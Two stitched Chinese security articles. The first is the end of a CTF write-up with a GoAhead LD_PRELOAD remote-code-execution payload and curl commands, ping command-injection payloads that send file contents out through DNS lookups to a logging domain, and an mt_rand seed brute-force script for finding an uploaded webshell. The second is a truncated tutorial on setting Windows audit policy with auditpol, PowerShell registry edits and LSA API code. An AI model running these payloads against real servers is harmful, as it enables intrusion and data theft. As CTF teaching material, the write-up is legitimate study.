curl -X POST --data-binary @payload.so http://ip/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i
可以得到回显
HTTP/1.1 200 OK
Date: Sun Dec 17 13:08:20 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello: World!
Content-type: text/html
只要出现hello: World!就说明攻击成功了
那么下面构造我们的攻击payload
首先是找文件的绝对路径 使用c语言进行操作，c语言实现执行命令的脚本网上一搜一大堆，
最后发现是www目录下的goahead文件夹
然后读文件
#include "stdio.h"
#include <unistd.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void){
char filename[] = "/var/www/goahead/cgi-bin/hello.cgi";
FILE *fp;
char StrLine[1024];
if((fp = fopen(filename,"r")) == NULL)
{
printf("error!");
return -1;
}
while (!feof(fp))
{
fgets(StrLine,1024,fp);
printf("%s\n", StrLine);
}
fclose(fp);
}
即可拿到flag
curl -X POST --data-binary @payload.so http://192.168.5.42:8080/cgi-bin/hello.cgi?LD_PRELOAD\=/proc/self/fd/0 -i
HTTP/1.1 200 OK
Server: GoAhead-http
Date: Sun Jan 21 04:31:28 2018
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Hello GOGOGO#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print "Hello GOGOGO";
#flag{ef9f1f880e1f001bedd32bfc52674128}
#flag{ef9f1f880e1f001bedd32bfc52674128}
#### 另一种操作
进去查看相应头Server: GoAhead-http，查找资料，这个cgi存在代码执行漏洞
网上的POC大多为反弹shell，这道题由于服务器配置问题无法实现，有题干知flag在cgi-bin/hello.cgi中，故只需要执行代码读取cgi文件即可
Linux中编写如下代码（我开始想复杂了，还想调用popen执行cat读取，只需要fread就可以了）：
//poc.c
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void){
FILE* fp = fopen("cgi-bin/hello.cgi", "r");
char buf[2048];
fread(buf, sizeof(buf), 1, fp);
write(1, buf, sizeof(buf));
}
执行指令编译动态库并发送`payload`：
gcc -shared -fPIC poc.c -o poc.so && curl -X POST --data-binary @poc.so http://114.55.36.69:8018/cgi-bin/hello.cgi?LD_PRELOAD=/proc/self/fd/0 -i --output 1.txt
读取1.txt获得flag：`flag{ef9f1f880e1f001bedd32bfc52674128}`
### 三：ping
这是一个命令执行题。通过`get`传入`ping`参数，后台使用`system(‘ping’,
$_GET[‘ping’])`来执行命令。不过在执行之前把`'<‘和’>’`给过滤了，
也就是说无法使用重定向来`cat flag`文件的值（就算不过滤我也不知道咋利用）。刚好前几天看到了关于`dnslog`在盲注中的利用，
就想，`dnslog`能不能在这里用到？试试吧。
先试试`dnslog`能不能用：
?ping=111.13.100.91(百度的ip) -c 1; ping `uname`.****.ceye.io(记录dns查询的平台域名)
打开`dnslog`平台，果然发现了一条记录：`linux.****.ceye.io`。嘻嘻。既然你那么直接，我也就跟你直接点啦！接招:
?ping=111.13.100.91 -c 1; ping `cat where_is_flag.php`.****.ceye.io
按完回车，心想，`flag`那么容易就到手了？回到平台看一看，没有！又试了几遍，还是不行！仔细一想，
有可能被文件中的空格和换行符干扰到了，那就编码一下呗。便把payload换成`cat where_is_flag.php | base64`，回去看，
还是不行。。大招用完了，剩下的只好请教百度。果然找到了个好姿势：
for i in $(ls /);do curl "http://$i.xxx.dnslog.link/";done;
换成自己的payload：
?ping=111.13.100.91 -c 1; for i in $(cat where_is_flag.php); do ping " $i.****.ceye.io"; done;
终于成功了，这个文件的内容是真正flag文件的相对路径，将payload稍微改一下就好了。
得到`flag{sdfsdfvdfbdgsd}`
#### 另一种操作
进入后查看`robots.txt`，获得源码，以及`where_is_flag.php`
<?php
include("where_is_flag.php");
echo "ping";
$ip =(string)$_GET['ping'];
$ip =str_replace(">","0.0",$ip);
system("ping ".$ip);
?>
知需要使用`ping`读取文件`where_is_flag.php`，这里使用一个开源项目搭建的平台`CEYE`，原理是访问一个域名的下属子域名时，
`dns`解析会有记录。在`linux`中可以使用飘号包裹命令，如：`ping 'echo
111'.xxx.com`（'代表飘号，Markdown中写不出来）。
或可以使用`ping http://xxxxx/'whoami`'，解析主机的访问记录
但是这里由于换行符的干扰无法直接读取文件，故使用bash的循环：
ping=127.0.0.1 -c 1;for i in `cat where_is_flag.php`;do ping $i.3awcx4.ceye.io;done;
得到`$flag="dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php"`，同样的方法读取，
得到`flag{sdfsdfvdfbdgsd}`
### 四：ping也能把你ping挂
这题看到后再看前面题目名也是ping，感觉应该是类似的操作，所以估计这题也是命令执行了。
进入网页后看到一个输入框，输入ip地址，然后输入框下面会回显ping的结果。
尝试在ip地址后加上一些字符，来执行下一个命令。比如：
1.1.1.1|ls
1.1.1.1 > ls
1.1.1.1; ls
1.1.1.1&ls
反正就是一顿乱揍，到最后的&终于成功回显了：
通过观察ls的回显，发现了一个`upload`文件夹和一个文件上传的php文件。进入`you_find_upload.ph`p页面，就是一个常规的文件上传页面。
上传之后也没啥回显，也不知道文件名。发现上面的导航栏多了个查看源码，点进去。
就会得到`you_find_upload.php`源码，源码如下(无关紧要的html代码我就不贴了，太长了)：
<form action="you_find_upload.php" method="POST" enctype="multipart/form-data">
<label>Select image to upload:</label>
<input type="file" name="file">
<button type="submit" class="btn" name="submit">upload</button>
<pre>
<?php
$type = array('gif','jpg','png');
mt_srand((time() % rand(1,100000)%rand(1000,9000)));
echo mt_rand();
if (isset($_POST['submit'])) {
$check = getimagesize($_FILES['file']['tmp_name']);
@$extension = end(explode('.',$_FILES['file']['name']));
if(in_array($extension,$type)){
echo 'File is an image - ' . $check['mime'];
$filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $filename);
echo "<br>\n";
} else {
echo "File is not an image";
}
}
if(isset($_GET['p'])){
if(@preg_match("/\.\.\//",$_GET['p'])){
echo "ä½ è¿ä¸ªå©åï¼too young too simple";
}
else{
@include $_GET['p'].".php";
}
}
?>
</pre>
</form>
分析之后发现对于上传的文件有个限制,就是文件名必须以.jpg或.png或.gif结尾。上传之后，将文件命名成”随机数字+_+原文件名”。
这里发现，就算上传了图片马，你没有随机数啊！所以还是找不到文件的。
仔细看代码，发现三个关键点：
1.mt_srand((time() % rand(1,100000)%rand(1000,9000)));
这是生成一个随机种子
2.echo mt_rand()
做一次随机运算
3. $filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name'];
再做一此随机运算，并将这个随机数作为文件名的一部分。
由此可见，如果第三步的随机数能搞到，那文件名就出来了。可是这个随机数怎么搞？只好求助一下百度，
发现mt_rand()生成的是伪随机数，也就是说，只要种子固定，那么每次的的mt_rand()都是固定的。举个例子：
<?php
mt_srand(1);//先给个值为1的种子
echo mt_rand();//输出随机数
echo "<br>";
echo mt_rand();//再次输出随机数
echo "<br>";
echo mt_rand();//再再次输出随机数
?>
输出结果：
1244335972
15217923
1546885062
再刷新试试，就会发现，不管刷新多少次，生成的随机数都是固定的。因此生成的随机数只跟两个值有关，一个是种子的值，一个是计算的次数。
而种子在源代码中有，计算的次数我们也已经知道了(2次，因为第二个mt_rand()用于合成文件名)。所以，基本上文件名就出来了。看一下种子：
mt_srand((time() % rand(1,100000)%rand(1000,9000)));
这个种子是跟时间相关的，可是你echo一下种子你就会发现，种子的值在0~10000之间(并不精确，仅仅是我根据echo大致猜测的)。
整理一下思路，我上面说，随机数只跟两个因素有关，一个是种子，一个是计算的次数。现在已经知道了，种子的值是0~10000，计算的次数是2。
所以我们最多只要计算1w次就能找到这个随机数了。方法就是写个php脚本，进行爆破。这里有个小技巧，你可以将同一个文件上传多次，
这样爆破的时间会减少很多。上脚本(渣渣一个，脚本写的太渣了QAQ)：
<?php
/*上传文件名为1.php.jpg*/
$url = 'http://192.168.5.85/upload/';
$start = 1;
$end = 10000;
$index = $start;
$random_pre = '';
$filename = '';
$result = '##';
while($index <= $end){
echo "No.".$index;
echo "<br>";
mt_srand($index);
mt_rand();
$random_pre = mt_rand();
$filename = $random_pre.'_1.php.jpg';
$cur_url = $url.$filename;
if(curl_get($cur_url)){
$result = $result.$filename.'--';
exit;
}
$index++;
}
if($index == 1001){
echo "no result!";
}
function curl_get($tmp_url){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$tmp_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HEADER,1);
$result=curl_exec($ch);
$code=curl_getinfo($ch,CURLINFO_HTTP_CODE);
if($code=='404' && $result){
curl_close($ch);
return 0;
} else {
curl_close($ch);
echo $code;
echo "<br>";
echo "#####got one!===>>>".$tmp_url;
echo "<br>";
return 1;
}
}
这样基本就能爆破出我们的文件了，爆出来之后面临的问题就是解析了。众所周知，`apache`的解析漏洞只能使用apache不认识的后缀名，
而这题已经限制死了，必须以图片格式结尾。所以常规办法已经无法继续了(也许因为我菜？)，后来尝试`1.php.jpg`时，没想到竟然成功解析了！
解析成功后用菜刀连一下，发现flag在根目录下(第一次做上传的我，光找这个flag就找了十多分钟QAA)。
参考文章：
DNSlog攻击技巧：<https://www.0dayhack.com/post-481.html>
解析如何在C语言中调用shell命令的实现方法:<https://www.jb51.net/article/37404.htm> | 社区文章 |
# 运用命令行、注册表编程、windowsAPI修改本地安全策略
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、本地安全策略介绍
windows安全策略个人理解就是计算机使用者对计算机进行的一些了安全配置。配置安全策略的方法是：Control Panel->Administrative
tool->Local Security Policy。
(注意需要把右上角的视图改为大图标，一般是按类别)
以win10系统为例。一级安全策略有： **账户策略(Account Policies)、本地策略(Local Policies)、高级安全windows
Defender 防火墙(Windows Defender Firewall with Advanced)、网络列表管理器策略(Network List
Manager Polices)、公钥策略(Public Key Policies)、软件限制策略(Software Restriction
Policies)、应用程序控制策略(Application Control Policies )、IP安全策略(IP Security Policies
on Local Computer)、高级审计策略配置(Advanced Audit Policy Configuration)。**
具体的内容可以自己去MSDN上找，可以根据自己的需求进行配置。这部分并不是本文的主要内容。本文主要是用过本地策略中的审核策略和高级审核策略来进行如题中的三种配置。其他策略理论上也是可以配置的，比较麻烦的就是在MSDN上寻找资料。（当初我也是这么过来的）。
稍微拓展一点就是本地安全审核策略和高级审核策略到底有什么不同呢。简单来数就是高级审核策略就是本地安全审核策略的细化版。下图就是本地安全审核策略，可以看到里面一共有九个项
之后观察高级审核策略，发现里面的二级策略就有十个，且基本和本地安全策略一致
随便进其中一个二级策略发现里面是更加细化的一些配置。这两个策略虽然互有重叠，但是还是有区别的。总的来说就是两种策略都配置的话以高级审核策略为主。如果需要回退到本地安全策略，则需要将所有的高级审核策略设置为：不审核（“Not
audting”）。
## 1、命令行配置
接下来就是正题了。首先介绍的就是命令行配置。对于高级审核策略来说，命令行配置用到的命令叫做： **auditpol**
这个命令的语法如下
`Auditpol /set [/user[:<username>|<{sid}>][/include][/exclude]]
[/category:<name>|<{guid}>[,:<name|<{guid}>]]
[/success:<enable>|<disable>][/failure:<enable>|<disable>]
[/subcategory:<name>|<{guid}>[,:<name|<{guid}>]]
[/success:<enable>|<disable>][/failure:<enable>|<disable>] [/option:<option
name> /value: <enable>|<disable>]`
具体解释如下
* * *
/user：为其设置类别或子类别指定的每用户审核策略的安全主体。 必须指定 “类别” 或 “子类别” 选项，作为安全标识符（SID）或名称。
/include：用/user 指定;指示用户的每用户策略将导致生成审核，即使系统审核策略未指定审核也是如此。 此设置是默认设置，如果/include
和/exclude 参数均未显式指定，则会自动应用此设置。
/exclude：用/user 指定;指示无论系统审核策略如何，用户的每用户策略都将导致抑制审核。 对于作为本地 Administrators
组成员的用户，此设置将被忽略。
/category：由全局唯一标识符（GUID）或名称指定的一个或多个审核类别。 如果未指定用户，则设置系统策略。
/subcategory：GUID 或名称指定的一个或多个审核子类别。 如果未指定用户，则设置系统策略。
/success：指定成功审核。 此设置是默认设置，如果/success 和/failure 参数均未显式指定，则会自动应用此设置。
此设置必须与指示是否启用或禁用该设置的参数一起使用。
/failure：指定失败的审核。 此设置必须与指示是否启用或禁用该设置的参数一起使用。
/option：为 CrashOnAuditFail、FullprivilegeAuditing、AuditBaseObjects 或
AuditBasedirectories 选项设置审核策略。
/sd：设置用于委托审核策略访问的安全描述符。 安全描述符必须使用安全描述符定义语言（SDDL）来指定。 安全描述符必须具有自由访问控制列表（DACL）。
/? 在命令提示符下显示帮助。
* * *
知道以上信息之后就可以利用命令行修改高级审核策略，记得要使用管理员权限打开命令行窗口
由于高级审核策略比较多，这里就以”Account Logon”、”Account Management”、”DS Access”为例子，其他的大同小异。
这里将Account Logon里的子策略都设置为Scccess
这里将Account Management里的子策略都设置为Scccess
这里将DS Access里的子策略都设置为Failure
## 2、注册表编程
windows注册表这个机制一直饱受争议，喜欢的人把它吹得老高了，不喜欢的人又把它贬得老低了。（因为我还比较菜，所以不做评论。）国内对这方面的资料不是那么好找，比如要找高级安全策略对应的注册表项就找不到。当然不是所有的安全策略都有对应的注册表项。不确定的可以去MSDN上搜索对应计算机版本的Group
Policy Settings Reference Spreadsheet。我去找的时候是有一个excel，里面有各种策略对应的注册表项。
反正最后呢，在国外某个大佬的博客上找到一个很有用的信息。根据<https://countuponsecurity.com/tag/poladtev/>
这个博主的信息，高级安全审核策略对应注册表的处在HKEY_LOCAL_MACHINESecurityPolicyPolAdtEv
key并且可以得到一个比较直观的图片。
从这张图片可以看出来，每一个策略下面的子策略对应注册表中的位置很清楚的标出来。那么进行修改的时候只要将对应位置上的值修改为自己想要的就行了。一共有四个值：
**00 00——No Auditing、01 00 ——Success、02 00——Failure、03 00 ——-SuccessFailure**
。只要按照如下进行修改就行了
完整脚本如下（使用powershell）：
function Set-RegistryValue
{
$Parameters = @{
Path = $Registry.Path
Name = $Registry.ValueName
ErrorAction = 'SilentlyContinue'
}
Get-ItemProperty @Parameters
Remove-ItemProperty @Parameters
$Parameters.Remove('ErrorAction')
$Parameters.Add('Value', $Registry.ValueData)
$Parameters.Add('PropertyType', $Registry.ValueType)
New-ItemProperty @Parameters
}
#region Add access for Administrators
$RegistrySubKey = 'SECURITY'
$RegistryKeyControl = [Microsoft.Win32.Registry]::
LocalMachine.OpenSubKey(
$RegistrySubKey,
[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,
[System.Security.AccessControl.RegistryRights]::ChangePermissions
)
$AccessControlList = $RegistryKeyControl.GetAccessControl()
$BackupOfAccessControlList = $RegistryKeyControl.GetAccessControl()
$Account = [System.Security.Principal.NTAccount]'BUILTINAdministrators'
$Permissions = [System.Security.AccessControl.RegistryRights]'FullControl'
$InheritanceFlag = [System.Security.AccessControl.InheritanceFlags]'ContainerInherit,ObjectInherit'
$PropagationFlag = [System.Security.AccessControl.PropagationFlags]'None'
$AccessType = [System.Security.AccessControl.AccessControlType]'Allow'
$AccessRule = New-Object System.Security.AccessControl.RegistryAccessRule(
$Account,
$Permissions,
$InheritanceFlag,
$PropagationFlag,
$AccessType
)
$AccessControlList.AddAccessRule($AccessRule)
$RegistryKeyControl.SetAccessControl($AccessControlList)
#endregion
#region set audit values
#Advanced Audit Policy Configuration
#https://countuponsecurity.com/tag/poladtev
#https://www.kazamiya.net/files/PolAdtEv_Structure_en_rev2.pdf
$Registry = @{
Path = 'HKLM:SecurityPolicyPolAdtEv'
ValueName = '(default)'
ValueData = [byte[]] @(
0, 1, 0, 0, 9, 0, 0, 0, 128, 0, 0, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3,
0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3,
0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3,
0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3, 0, 3,
0, 3, 0, 0, 0, 5, 0, 10, 0, 14, 0, 3, 0, 5, 0, 6, 0, 6, 0, 4, 0, 4, 0
)
ValueType = 'None'
}
Set-RegistryValue
#Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings ==> Enabled
#https://technet.microsoft.com/en-us/library/jj852246(v=ws.11).aspx
$Registry.Path = 'HKLM:SYSTEMCurrentControlSetControlLsa'
$Registry.ValueName = 'SCENoApplyLegacyAuditPolicy'
$Registry.ValueData = 1
$Registry.ValueType = 'DWord'
Set-RegistryValue
#endregion
#region Remove access for Administrators
$RegistryKeyControl.SetAccessControl($BackupOfAccessControlList)
#endregion
需要注意的时,powershell需要使用管理员权限打开。并且windows出于安全性的考虑，默认情况下这个脚本是无法运行的
原因是因为默认情况下LocalMachine进行了限制
针对这个问题有两种解决方法，第一个不安全的做法就是直接解开限制，第二个是打开临时授权。在这里选择直接解开限制，运行完之后再加上限制
接下来脚本就可以运行成功了
## 3、Windows API编程
有句老话说得好：windows一切即对象，linux一切即文件。这一句话的前半句在这部分深有体会。怎么说呢，既然想要用Windows
API进行编程，最权威的就是MSDN了，但是呢MSDN的排版有的时候又会让人很抓狂，有些函数你就是找不到，找到了但是但看这个你又用不了，又得看另一个函数，看着看着，就看了几十个函数。十分难受。所以这里把思路发出来也是避免后人走弯路（看文档真的老费时间了）
审核策略的话主要是用了几个结构，下面一一介绍一下。
### 3.1结构体
POLICY_INFORMATION_CLASS
typedef enum _POLICY_INFORMATION_CLASS {
PolicyAuditLogInformation,
PolicyAuditEventsInformation,
PolicyPrimaryDomainInformation,
PolicyPdAccountInformation,
PolicyAccountDomainInformation,
PolicyLsaServerRoleInformation,
PolicyReplicaSourceInformation,
PolicyDefaultQuotaInformation,
PolicyModificationInformation,
PolicyAuditFullSetInformation,
PolicyAuditFullQueryInformation,
PolicyDnsDomainInformation,
PolicyDnsDomainInformationInt,
PolicyLocalAccountDomainInformation,
PolicyMachineAccountInformation,
PolicyLastEntry
} POLICY_INFORMATION_CLASS, *PPOLICY_INFORMATION_CLASS;
这个结构在代码中并没有用，但是这里起到一个引导作用。也就是说这个结构里面的很多成员其实对应的就是安全策略
中的某一项，比如说第一个和第二个就是跟审核策略相关的。之后再找其对应的内容就好了（相当于一个方法论，留着大家继续研究）
POLICY_AUDIT_EVENTS_INFO
typedef struct _POLICY_AUDIT_EVENTS_INFO {
BOOLEAN AuditingMode;
PPOLICY_AUDIT_EVENT_OPTIONS EventAuditingOptions;
ULONG MaximumAuditEventCount;
} POLICY_AUDIT_EVENTS_INFO, *PPOLICY_AUDIT_EVENTS_INFO;
这个结构就要用到了，具体内容子啊MSDN上都用，但是看文档好费眼和时间，这里就粗略介绍一下，想深入的话还是推荐看官方文档。
第一个成员变量表示是否可以对审核策略进行修改，true代表可以，false代表不行。第二个成员变量代表策略的具体内容分别是：unchanged、success、failure、none。第三个参数代表目前这个结构支持修改的策略数量。
POLICY_AUDIT_EVENT_TYPE
typedef enum _POLICY_AUDIT_EVENT_TYPE {
AuditCategorySystem,
AuditCategoryLogon,
AuditCategoryObjectAccess,
AuditCategoryPrivilegeUse,
AuditCategoryDetailedTracking,
AuditCategoryPolicyChange,
AuditCategoryAccountManagement,
AuditCategoryDirectoryServiceAccess,
AuditCategoryAccountLogon
} POLICY_AUDIT_EVENT_TYPE, *PPOLICY_AUDIT_EVENT_TYPE;
这个结构就是目前支持可修改的高级审核策略。未来还有可能拓展。
### 3.2 API接口函数
这里用到的API主要有三个。
LsaOpenPolicy
NTSTATUS LsaOpenPolicy(
PLSA_UNICODE_STRING SystemName,
PLSA_OBJECT_ATTRIBUTES ObjectAttributes,
ACCESS_MASK DesiredAccess,
PLSA_HANDLE PolicyHandle
);
这个函数比较 好理解就是打开Lsa句柄。（Lsa—-Local Security Auditing）
第一个参数就是要访问策略的计算机名，设为NULL代表本地计算机；第二个参数一般都是ZeroMemory这个函数置为0使用；第三个参数代表访问权限，需要设置为ACCESS_MASK；最后一个参数就是打开的句柄。如果函数执行成功那么返回结果是STATUS_SUCCESS，但是在实际编程中（VS
Code），返回结果是CMS_STATUS_SUCCESS。（我实验的环境是VS
Code，可能别的编译器的值会有所不同吧，官方文档里给的返回值是STATUS_SUCCESS）
LsaQueryInformationPolicy function
NTSTATUS LsaQueryInformationPolicy(
LSA_HANDLE PolicyHandle,
POLICY_INFORMATION_CLASS InformationClass,
PVOID *Buffer
);
函数的功能就是枚举审核策略；第一个参数是PolicyHandle的句柄，通过LsaOpenPolicy这个函数获得，第二个参数通过要获得的不同策略的对象进行设置，在这里设置为PolicyAuditEventsInformation。最后一个参数是指针，指向要获得策略的地址。
LsaSetInformationPolicy function
NTSTATUS LsaSetInformationPolicy(
LSA_HANDLE PolicyHandle,
POLICY_INFORMATION_CLASS InformationClass,
PVOID Buffer
);
这个函数的功能就是修改本地策略，参数于LsaSetInformationPolicy基本一致，但是要注意最后一个参数不是指针，在这里要特别注意。返回结果也是一致的。
### 3.3具体实现
接下来就是具体编程了，代码中对原有API进行了封装。主要是三个：GetHandle()用来返回句柄、Get_Sec_AuditSetting()用来打印当前策略、SET_Audit_Policy()用来对策略进行设置。
首先来看一下GetHandle()
LSA_HANDLE GetHandle()
{
LSA_HANDLE myPolicyHandle;
LSA_OBJECT_ATTRIBUTES ObjectAttributes;
PVOID *Buffer;
ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes));
NTSTATUS tmp1 = LsaOpenPolicy(NULL,&ObjectAttributes,POLICY_ALL_ACCESS,&myPolicyHandle);
if(tmp1 == ERROR_SUCCESS){
printf("get handle successfully!n");
return myPolicyHandle;
}
printf("failed to get handle!n");
return NULL;
}
这个就是调用LsaOpenPolicy这个API进行创建句柄，至于为什么要用ZeroMemory在介绍LsaOpenPolicy函数的时候有介绍了。如果创建句柄成功，则会返沪改句柄
BOOL Get_Sec_AuditSetting()
{
LSA_HANDLE handle = GetHandle();
PPOLICY_AUDIT_EVENTS_INFO pInfo;
string tmp;
if(handle){
NTSTATUS status = LsaQueryInformationPolicy(handle,PolicyAuditEventsInformation,(void **)&pInfo);
//cout<<"MaximumAuditEventCount:"<<pInfo->MaximumAuditEventCount<<endl;
if(status == CMC_STATUS_SUCCESS && pInfo->AuditingMode){
for(int i =0;i<pInfo->MaximumAuditEventCount;i++)
{
switch(i)
{
case AuditCategoryAccountLogon:
tmp = GET_AUDIT_STR("Audit Account Logon: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategoryAccountManagement:
tmp = GET_AUDIT_STR("Audit Account Management: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategoryDetailedTracking:
tmp = GET_AUDIT_STR("Audit Detailed Tracking: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategoryDirectoryServiceAccess:
tmp = GET_AUDIT_STR("Audit CategoryDirectory Service Access: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategoryLogon:
tmp = GET_AUDIT_STR("Audit Logon/Logoff: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategoryObjectAccess:
tmp = GET_AUDIT_STR("Audit Object Access: ",pInfo,i);
cout<<tmp<<endl;
case AuditCategoryPolicyChange:
tmp = GET_AUDIT_STR("Audit Policy Change: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategoryPrivilegeUse:
tmp = GET_AUDIT_STR("Audit Privilege Use: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategorySystem:
tmp = GET_AUDIT_STR("Audit System: ",pInfo,i);
cout<<tmp<<endl;
break;
default:
break;
}
}
}
else{
printf("STATUES ERROR %u",status);
}
}
return true;
}
在结构体介绍那一节介绍了MaximumAuditEventCount这个成员变量代表策略的数量，实际上，具体是哪一个策略其实是有值表示的，代码中诸如：AuditCategoryAccountLogon等其实有对应的具体数值。根据匹配当前指针指向的内存的值就可以判断是哪一个策略。致于代码中出现的GET_AUDIT_STR其实就是一个打印字符，根据该策略的状态是否是Succuss或Failure来进行打印字符。
void SET_Audit_Policy(POLICY_AUDIT_EVENT_TYPE eventtype,POLICY_AUDIT_EVENT_OPTIONS eventoption)
{
LSA_HANDLE handle = GetHandle();
POLICY_AUDIT_EVENTS_INFO *AuditEvent ;
NTSTATUS status;
status = LsaQueryInformationPolicy(handle,PolicyAuditEventsInformation,(void **)&AuditEvent);
//AuditEvent->AuditingMode = true;
AuditEvent->EventAuditingOptions[eventtype] = eventoption;
//cout<<"!!!"<<endl;
status = LsaSetInformationPolicy(handle,PolicyAuditEventsInformation,(void *)AuditEvent);
if(status == CMC_STATUS_SUCCESS )
{
cout<<"Set successfully!n";
}
else
{
cout<<"Failed to set!n";
}
}
SET_Audit_Policy这个函数也比较好理解。解释一下参数就很容易明白。eventtype代表的要修改的策略，比如：AuditCategoryAccountLogon、AuditCategoryAccountManagement等等。第二个参数eventoption就是设置的策略是Success、Failure或者SuccessFailure都可以
主函数也很好理解，直接把整个代码都贴一下(要成功运行的话，编译器也要以管理员权限打开哦)
#include "stdio.h"
#include "stdlib.h"
#include "windows.h"
#include "tchar.h"
#include "Winreg.h"
#include "shlwapi.h"
#include "Ntsecapi.h"
//#include "ntifs.h"
#include <iostream>
#include <string>
#include <vector>
#include <sddl.h>
#include <cstdlib>
using namespace std;
LSA_HANDLE GetHandle();
BOOL Get_Sec_AuditSetting();
void SET_Audit_Policy(POLICY_AUDIT_EVENT_TYPE eventtype,POLICY_AUDIT_EVENT_OPTIONS eventoption);
string GET_AUDIT_STR(string s,PPOLICY_AUDIT_EVENTS_INFO pInfo,int i);
int _tmain(int argc, _TCHAR* argv[])
{
//string result;
Get_Sec_AuditSetting();
while(1)
{
cout<<"Please choose one of the Audit Policies to set:n";
cout<<"1: Account Logonn";
cout<<"2: Account Managementn";
cout<<"3: Detailed Trackingn";
cout<<"4: DS Accessn";
cout<<"5: Logon/Logoffn";
cout<<"6: Object Accessn";
cout<<"7: Policy Changen";
cout<<"8: Privilege Usen";
cout<<"9: Systemn";
cout<<"0: exitn";
cout<<"Input the numboer of your chioce:";
int EventType,EventOption;
cin>>EventType;
if(EventType == 0)
{
break;
}
cout<<"Please choose the configuration you want to set:n";
cout<<"1: Successn";
cout<<"2: Failuren";
cin>>EventOption;
POLICY_AUDIT_EVENT_TYPE eventtype;
POLICY_AUDIT_EVENT_OPTIONS eventoption = POLICY_AUDIT_EVENT_SUCCESS;
if(EventOption == 1)
{
eventoption = POLICY_AUDIT_EVENT_SUCCESS;
}
else
{
eventoption = POLICY_AUDIT_EVENT_FAILURE;
}
switch (EventType)
{
case 1:
eventtype = AuditCategoryAccountLogon;
break;
case 2:
eventtype = AuditCategoryAccountManagement;
break;
case 3:
eventtype = AuditCategoryDetailedTracking;
break;
case 4:
eventtype = AuditCategoryDirectoryServiceAccess;
break;
case 5:
eventtype = AuditCategoryLogon;
break;
case 6:
eventtype = AuditCategoryObjectAccess;
break;
case 7:
eventtype = AuditCategoryPolicyChange;
break;
case 8:
eventtype = AuditCategoryPrivilegeUse;
break;
case 9:
eventtype = AuditCategorySystem;
break;
}
SET_Audit_Policy(eventtype,eventoption);
}
cout<<"After settingn";
Get_Sec_AuditSetting();
system("pause");
return 0;
}
LSA_HANDLE GetHandle()
{
LSA_HANDLE myPolicyHandle;
LSA_OBJECT_ATTRIBUTES ObjectAttributes;
PVOID *Buffer;
ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes));
NTSTATUS tmp1 = LsaOpenPolicy(NULL,&ObjectAttributes,POLICY_ALL_ACCESS,&myPolicyHandle);
if(tmp1 == ERROR_SUCCESS){
printf("get handle successfully!n");
return myPolicyHandle;
}
printf("failed to get handle!n");
return NULL;
}
string GET_AUDIT_STR(string x,PPOLICY_AUDIT_EVENTS_INFO pInfo,int i)
{
string str;
string result;
if(POLICY_AUDIT_EVENT_SUCCESS&pInfo->EventAuditingOptions[i]){
str+="Success";
}
if(POLICY_AUDIT_EVENT_FAILURE&pInfo->EventAuditingOptions[i]){
str+=str.size()==0?"Failure":"| Failure";
}
if(str.size() == 0){
str+="No Audit";
}
//str+="n";
result = x+str;
return result;
}
BOOL Get_Sec_AuditSetting()
{
LSA_HANDLE handle = GetHandle();
PPOLICY_AUDIT_EVENTS_INFO pInfo;
string tmp;
if(handle){
NTSTATUS status = LsaQueryInformationPolicy(handle,PolicyAuditEventsInformation,(void **)&pInfo);
//cout<<"MaximumAuditEventCount:"<<pInfo->MaximumAuditEventCount<<endl;
if(status == CMC_STATUS_SUCCESS && pInfo->AuditingMode){
for(int i =0;i<pInfo->MaximumAuditEventCount;i++)
{
switch(i)
{
case AuditCategoryAccountLogon:
tmp = GET_AUDIT_STR("Audit Account Logon: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategoryAccountManagement:
tmp = GET_AUDIT_STR("Audit Account Management: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategoryDetailedTracking:
tmp = GET_AUDIT_STR("Audit Detailed Tracking: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategoryDirectoryServiceAccess:
tmp = GET_AUDIT_STR("Audit CategoryDirectory Service Access: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategoryLogon:
tmp = GET_AUDIT_STR("Audit Logon/Logoff: ",pInfo,i);
cout<<tmp<<endl;
break;
case AuditCategoryObjectAccess:
tmp = GET_AUDIT_STR("Audit Object Access: ",pInfo,i);
